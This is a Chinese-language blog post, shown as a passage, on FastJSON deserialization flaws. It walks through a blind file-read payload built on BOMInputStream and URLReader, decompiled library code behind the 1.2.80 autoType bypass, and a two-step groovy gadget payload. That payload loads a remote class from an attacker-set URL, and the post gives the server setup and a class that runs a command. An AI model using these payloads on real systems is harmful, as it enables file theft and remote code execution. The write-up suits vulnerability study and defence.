"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}

依赖:

1
2
3
4
5
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>x.x</version>
</dependency>

payload分析:

1
2
3
4
5
{
"address": {
"$ref": "$.abc.BOM"
}
}

此处使用FastJSON特性,”$ref””: “$.xx.yy”表示调用JSON对象中xx的yy属性。payload中即调用abc(org.apache.commons.io.input.BOMInputStream的BOM属性,即调用BOMInputStream的getBOM()方法。

org.apache.commons.io.input.BOMInputStream类分析

构造方法:

1
2
// 传入InputStream 类型的 delegate 和 ByteOrderMark 数组 boms
public BOMInputStream(InputStream delegate, boolean include, ByteOrderMark... boms)

getBOM()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public ByteOrderMark getBOM() throws IOException {
if (this.firstBytes == null) {
this.fbLength = 0;
int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
this.firstBytes = new int[maxBomSize];
for(int i = 0; i < this.firstBytes.length; ++i) {
this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节,组成一个 int 数组
++this.fbLength;
if (this.firstBytes[i] < 0) {
break;
}
}

this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。
if (this.byteOrderMark != null && !this.include) {
if (this.byteOrderMark.length() < this.firstBytes.length) {
this.fbIndex = this.byteOrderMark.length();
} else {
this.fbLength = 0;
}
}
}

return this.byteOrderMark; //返回 byteOrderMark
}
private ByteOrderMark find() {
Iterator var1 = this.boms.iterator();

ByteOrderMark bom;
do {
if (!var1.hasNext()) {
return null;
}

bom = (ByteOrderMark)var1.next();
} while(!this.matches(bom));

return bom;
}
private boolean matches(ByteOrderMark bom) {
for(int i = 0; i < bom.length(); ++i) {
if (bom.get(i) != this.firstBytes[i]) {
return false;
}
}

return true;
}

此处代码逻辑为将delegate 输入流的字节码转成 int 数组,然后用 ByteOrderMark 中的 bytes 挨个字节遍历进行比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以此处文件读取成功的标志为 getBom 返回结果不为 null。故文件读取原理为字节码对比,通过遍历对比目标文件中字节码从而挨个字节获取文件内容,类似SQL盲注。

org.apache.commons.io.input.ReaderInputStream类分析:

构造方法:

1
public ReaderInputStream(Reader reader, CharsetEncoder encoder, int bufferSize)

jdk.nashorn.api.scripting.URLReader类分析

1
public URLReader(URL url)

此处传入URL,则此处可使用file jar http 等协议

9 1.2.72 < Fastjson <= 1.2.80

利用链分析:

FastJSON1.2.80与1.2.68相比,ParserConfig#checkAutoType()添加了期望类黑名单,期望类在黑名单中则无法加载,若期望类及目标类不在黑名单中则可使用与1.2.68类似绕过方法绕过检测。

ParserConfig#checkAutoType()方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else {
if (this.autoTypeCheckHandlers != null) {//默认为空不进入
Iterator var4 = this.autoTypeCheckHandlers.iterator();

while(var4.hasNext()) {
AutoTypeCheckHandler h = (AutoTypeCheckHandler)var4.next();
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}

int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {//若safeMode为true进入,不反序列化所有类
throw new JSONException("safeMode not support autoType : " + typeName);
} else if (typeName.length() < 192 && typeName.length() >= 3) {
boolean expectClassFlag;
if (expectClass == null) {//期望类为空
expectClassFlag = false;
} else {//期望类不为空
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash != -8024746738719829346L && expectHash != 3247277300971823414L && expectHash != -5811778396720452501L && expectHash != -1368967840069965882L && expectHash != 2980334044947851925L && expectHash != 5183404141909004468L && expectHash != 7222019943667248779L && expectHash != -2027296626235911549L && expectHash != -2114196234051346931L && expectHash != -2939497380989775398L) {
expectClassFlag = true;//期望类不为空且不在黑名单中
} else {
expectClassFlag = false;//期望类在黑名单中
}
}

String className = typeName.replace('$', '.');
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
long hash;
int mask;
if (this.internalDenyHashCodes != null) {//黑名单校验
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class clazz;
////!internalWhite不为true autoTypeSupport或expectClassFlag为true则进入
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {//白名单校验,若在白名单中则返回类
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

clazz = TypeUtils.getClassFromMapping(typeName);//从map中获取类
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = (Class)this.typeMapping.get(typeName);
}

if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}

if (clazz != null) {//期望类不为空切目标类不为HashMap、LinkedHashMap且目标类不继承至期望类则抛出异常
if (expectClass != null && clazz != HashMap.class && clazz != LinkedHashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {//以下与1.2.68基本一致
if (!this.autoTypeSupport) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
char c = className.charAt(mask);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

boolean jsonType = false;
InputStream is = null;

try {
String resource = typeName.replace('.', '/') + ".class";
if (this.defaultClassLoader != null) {
is = this.defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception var24) {
} finally {
IOUtils.close(is);
}

mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
}

if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}

return clazz;
}
}
}
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

1.2.73中修改JavaBeanDeserializer#createInstance()方法,修改之前对类属性恢复的需要属性必须有Annotation,修改后类属性与显示指定的类不相同和拥有注解两者只需满足一个即可,而显示指定的类可以不传置为null

image-20220922101838051

实例化类属性后,fastjson就会将其加入到反序列化缓存TypeUtils.mappings中,之后对类反序列化时,就会从缓存中获取类

MiscCodec#deserialz()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if (clazz == InetSocketAddress.class) {
......
} else {
Object objVal;
if (parser.resolveStatus == 2) {
......
} else {
if (!(objVal instanceof String)) {
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject)objVal;
if (clazz == Currency.class) {
String currency = jsonObject.getString("currency");
if (currency != null) {
return Currency.getInstance(currency);
}

String symbol = jsonObject.getString("currencyCode");
if (symbol != null) {
return Currency.getInstance(symbol);
}
}

if (clazz == Map.Entry.class) {
return jsonObject.entrySet().iterator().next();
}

return jsonObject.toJavaObject(clazz);
}

throw new JSONException("expect string");
}

strVal = (String)objVal;
}
......

JSONObject#toJavaObject()

1
2
3
public <T> T toJavaObject(Type type) {
return TypeUtils.cast(this, type, ParserConfig.getGlobalInstance());
}

TypeUtils#cast()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static <T> T cast(Object obj, Type type, ParserConfig mapping) {
if (obj == null) {
return null;
} else if (type instanceof Class) {
return cast(obj, (Class)type, mapping);
} else if (type instanceof ParameterizedType) {
return cast(obj, (ParameterizedType)type, mapping);
} else {
if (obj instanceof String) {
String strVal = (String)obj;
if (strVal.length() == 0 || "null".equals(strVal) || "NULL".equals(strVal)) {
return null;
}
}

if (type instanceof TypeVariable) {
return obj;
} else {
throw new JSONException("can not cast to : " + type);
}
}
}

TypeUtils#catToJavaBen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
public static <T> T castToJavaBean(Map<String, Object> map, Class<T> clazz, ParserConfig config) {
try {
String className;
String language;
if (clazz == StackTraceElement.class) {
......
} else {
Object arg0 = map.get(JSON.DEFAULT_TYPE_KEY);//获取@type,故格式需为"@type":"java.lang.String""@type":"xxxx.xxxxx"
if (arg0 instanceof String) {
className = (String)arg0;
if (config == null) {
config = ParserConfig.global;
}

Class<?> loadClazz = config.checkAutoType(className, (Class)null);
if (loadClazz == null) {
throw new ClassNotFoundException(className + " not found");
}

if (!loadClazz.equals(clazz)) {
return castToJavaBean(map, loadClazz, config);
}
}

JSONObject jsonObject;
ObjectDeserializer deserializer;
if (clazz.isInterface()) {
if (map instanceof JSONObject) {
jsonObject = (JSONObject)map;
} else {
jsonObject = new JSONObject(map);
}

if (config == null) {
config = ParserConfig.getGlobalInstance();
}

deserializer = config.get(clazz);
if (deserializer != null) {
language = JSON.toJSONString(jsonObject);
return JSON.parseObject(language, clazz);
} else {
return Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{clazz}, jsonObject);
}
} else {
if (clazz == Locale.class) {
arg0 = map.get("language");
Object arg1 = map.get("country");
if (arg0 instanceof String) {
language = (String)arg0;
if (arg1 instanceof String) {
String country = (String)arg1;
return new Locale(language, country);
}

if (arg1 == null) {
return new Locale(language);
}
}
}

if (clazz == String.class && map instanceof JSONObject) {
return map.toString();
} else if (clazz == JSON.class && map instanceof JSONObject) {
return map;
} else {
if (clazz == LinkedHashMap.class && map instanceof JSONObject) {
jsonObject = (JSONObject)map;
Map<String, Object> innerMap = jsonObject.getInnerMap();
if (innerMap instanceof LinkedHashMap) {
return innerMap;
}
}

if (clazz.isInstance(map)) {
return map;
} else if (clazz == JSONObject.class) {
return new JSONObject(map);
} else {
if (config == null) {
config = ParserConfig.getGlobalInstance();
}

JavaBeanDeserializer javaBeanDeser = null;
deserializer = config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
javaBeanDeser = (JavaBeanDeserializer)deserializer;
}

if (javaBeanDeser == null) {
throw new JSONException("can not get javaBeanDeserializer. " + clazz.getName());
} else {
return javaBeanDeser.createInstance(map, config);
}
}
}
}
}
} catch (Exception var8) {
throw new JSONException(var8.getMessage(), var8);
}
}

利用流程:

  1. 指定显式期望类,实例化XXXException并被加入类缓存

  2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存

  3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存

PAYLOAD:

1.2.68及1.2.80版本均需要相应依赖库方可造成危害,漏洞危害大大减少,payload根据浅蓝师傅分享payload进行分析

Gadget:groovy命令执行

依赖:

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>3.0.13</version>
</dependency>

利用链分析:

org.codehaus.groovy.control.CompilationFailedException类继承Exction可通过校验,构造方法int phase, ProcessingUnit unit, Throwable cause三个参数

1
2
3
4
5
public CompilationFailedException(int phase, ProcessingUnit unit, Throwable cause) {
super(Phases.getDescription(phase) + " failed", cause);
this.phase = phase;
this.unit = unit;
}

org.codehaus.groovy.control.ProcessingUnit类,setClassLoader()方法调用new GroovyClassLoader(parent, this.getConfiguration())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public ProcessingUnit(CompilerConfiguration configuration, GroovyClassLoader classLoader, ErrorCollector errorCollector) {
this.setConfiguration(configuration != null ? configuration : CompilerConfiguration.DEFAULT);
this.setClassLoader(classLoader);
this.errorCollector = errorCollector != null ? errorCollector : new ErrorCollector(this.getConfiguration());
this.configure(this.getConfiguration());
}

public void configure(CompilerConfiguration configuration) {
this.setConfiguration(configuration);
}

public CompilerConfiguration getConfiguration() {
return this.configuration;
}

public final void setConfiguration(CompilerConfiguration configuration) {
this.configuration = (CompilerConfiguration)Objects.requireNonNull(configuration);
}

public GroovyClassLoader getClassLoader() {
return this.classLoader;
}

public void setClassLoader(GroovyClassLoader loader) {
this.classLoader = loader != null ? loader : (GroovyClassLoader)AccessController.doPrivileged(() -> {
ClassLoader parent = Thread.currentThread().getContextClassLoader();
if (parent == null) {
parent = ProcessingUnit.class.getClassLoader();
}

return new GroovyClassLoader(parent, this.getConfiguration());
});
}

GroovyClassLoader构造方法中 this.addClasspath(path);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public GroovyClassLoader(ClassLoader parent, CompilerConfiguration config, boolean useConfigurationClasspath) {
super(EMPTY_URL_ARRAY, parent);
this.classCache = new UnlimitedConcurrentCache();
this.sourceCache = new StampedCommonCache();
this.resourceLoader = new GroovyResourceLoader() {
public URL loadGroovySource(String filename) throws MalformedURLException {
return (URL)AccessController.doPrivileged(() -> {
Iterator var2 = GroovyClassLoader.this.config.getScriptExtensions().iterator();

while(var2.hasNext()) {
String extension = (String)var2.next();

try {
URL ret = GroovyClassLoader.this.getSourceFile(filename, extension);
if (ret != null) {
return ret;
}
} catch (Throwable var5) {
}
}

return null;
});
}
};
if (config == null) {
config = CompilerConfiguration.DEFAULT;
}

this.config = config;
if (useConfigurationClasspath) {
Iterator var4 = config.getClasspath().iterator();

while(var4.hasNext()) {
String path = (String)var4.next();
this.addClasspath(path);
}
}

this.initSourceEncoding(config);
}

JavaStubCompilationUnit继承ProcessingUnit类,构造方法如下中调用addPhaseOperation()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public JavaStubCompilationUnit(CompilerConfiguration config, GroovyClassLoader gcl, File destDir) {
super(config, (CodeSource)null, gcl);
if (destDir == null) {
Map<String, Object> options = this.configuration.getJointCompilationOptions();
destDir = (File)options.get("stubDir");
}

boolean useJava5 = CompilerConfiguration.isPostJDK5(this.configuration.getTargetBytecode());
String encoding = this.configuration.getSourceEncoding();
this.stubGenerator = new JavaStubGenerator(destDir, false, useJava5, encoding);
this.addPhaseOperation((source, context, classNode) -> {
(new VariableScopeVisitor(source)).visitClass(classNode);
(new JavaAwareResolveVisitor(this)).startResolving(classNode, source);
}, 3);
this.addPhaseOperation((source, context, classNode) -> {
try {
this.stubGenerator.generateClass(classNode);
++this.stubCount;
} catch (FileNotFoundException var5) {
source.addException(var5);
}

},

org.codehaus.groovy.control.CompilationUnit#addPhaseOperation()

1
2
3
4
5
6
7
8
9
public void addPhaseOperation(ISourceUnitOperation op, int phase) {
validatePhase(phase);
this.phaseOperations[phase].add(op);
}

public void addPhaseOperation(IPrimaryClassNodeOperation op, int phase) {
validatePhase(phase);
this.phaseOperations[phase].add(op);
}

org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations()

1
2
3
4
5
6
7
8
9
10
11
public static void addPhaseOperations(CompilationUnit compilationUnit) {
ASTTransformationsContext context = compilationUnit.getASTTransformationsContext();
addGlobalTransforms(context);
compilationUnit.addPhaseOperation((source, ignore, classNode) -> {
GroovyClassVisitor visitor = new ASTTransformationCollectorCodeVisitor(source, compilationUnit.getTransformLoader());
visitor.visitClass(classNode);
}, 4);
CompilePhase[] var2 = CompilePhase.values();
int var3 = var2.length;
int var4 = 0;
......

org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTransforms(context)

1
2
3
public static void addGlobalTransforms(ASTTransformationsContext context) {
doAddGlobalTransforms(context, true);
}

org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms(context, true)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private static void doAddGlobalTransforms(ASTTransformationsContext context, boolean isFirstScan) {
......
if (isFirstScan) {
Iterator var17 = transformNames.entrySet().iterator();

while(var17.hasNext()) {
Map.Entry<String, URL> entry = (Map.Entry)var17.next();
context.getGlobalTransformNames().add((String)entry.getKey());
}

addPhaseOperationsForGlobalTransforms(context.getCompilationUnit(), transformNames, isFirstScan);
} else {
transformNames.entrySet().removeIf((entryx) -> {
return !context.getGlobalTransformNames().add((String)entryx.getKey());
});
addPhaseOperationsForGlobalTransforms(context.getCompilationUnit(), transformNames, isFirstScan);
}

}

org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private static void addPhaseOperationsForGlobalTransforms(CompilationUnit compilationUnit, Map<String, URL> transformNames, boolean isFirstScan) {
//获取到被赋予远程classpath的GroovyClassLoader
GroovyClassLoader transformLoader = compilationUnit.getTransformLoader();
Iterator var4 = transformNames.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry<String, URL> entry = (Map.Entry)var4.next();

try {
//从远程加载class对象
Class<?> gTransClass = transformLoader.loadClass((String)entry.getKey(), false, true, false);
GroovyASTTransformation transformAnnotation = (GroovyASTTransformation)gTransClass.getAnnotation(GroovyASTTransformation.class);
if (transformAnnotation == null) {
compilationUnit.getErrorCollector().addWarning(new WarningMessage(2, "Transform Class " + (String)entry.getKey() + " is specified as a global transform in " + ((URL)entry.getValue()).toExternalForm() + " but it is not annotated by " + GroovyASTTransformation.class.getName() + " the global transform associated with it may fail and cause the compilation to fail.", (CSTNode)null, (SourceUnit)null));
} else if (ASTTransformation.class.isAssignableFrom(gTransClass)) {
//将远程类实例化
ASTTransformation instance = (ASTTransformation)gTransClass.getDeclaredConstructor().newInstance();
if (instance instanceof CompilationUnitAware) {
((CompilationUnitAware)instance).setCompilationUnit(compilationUnit);
}

CompilationUnit.ISourceUnitOperation suOp = (source) -> {
instance.visit(new ASTNode[]{source.getAST()}, source);
};
if (isFirstScan) {
compilationUnit.addPhaseOperation(suOp, transformAnnotation.phase().getPhaseNumber());
} else {
compilationUnit.addNewPhaseOperation(suOp, transformAnnotation.phase().getPhaseNumber());
}
} else {
compilationUnit.getErrorCollector().addError(new SimpleMessage("Transform Class " + (String)entry.getKey() + " specified at " + ((URL)entry.getValue()).toExternalForm() + " is not an ASTTransformation.", (ProcessingUnit)null));
}
} catch (Exception var10) {
Throwable t = var10 instanceof InvocationTargetException ? var10.getCause() : var10;
compilationUnit.getErrorCollector().addError(new SimpleMessage("Could not instantiate global transform class " + (String)entry.getKey() + " specified at " + ((URL)entry.getValue()).toExternalForm() + " because of exception " + ((Throwable)t).toString(), (ProcessingUnit)null));
}
}

}

payload:

1
2
3
4
5
6
7
8
9
10
11
1.利用隐式类关系将org.codehaus.groovy.control.org.codehaus.groovy.control.ProcessingUnit、org.codehaus.groovy.control.CompilerConfiguration加入到maping中
{"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}}

2.利用链加载远程类
{"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpath":"url地址xxx"}
}

服务器配置:

新建文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation

文件内容为MyExction

http根目录放置MyExction.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.IOException;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

@GroovyASTTransformation
public class MyExction implements ASTTransformation {
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}

image-20220922165655351


FastJSON反序列化漏洞解析
http://example.com/2023/04/14/FastJSON反序列化漏洞解析/
作者
白给
发布于
2023年4月14日
许可协议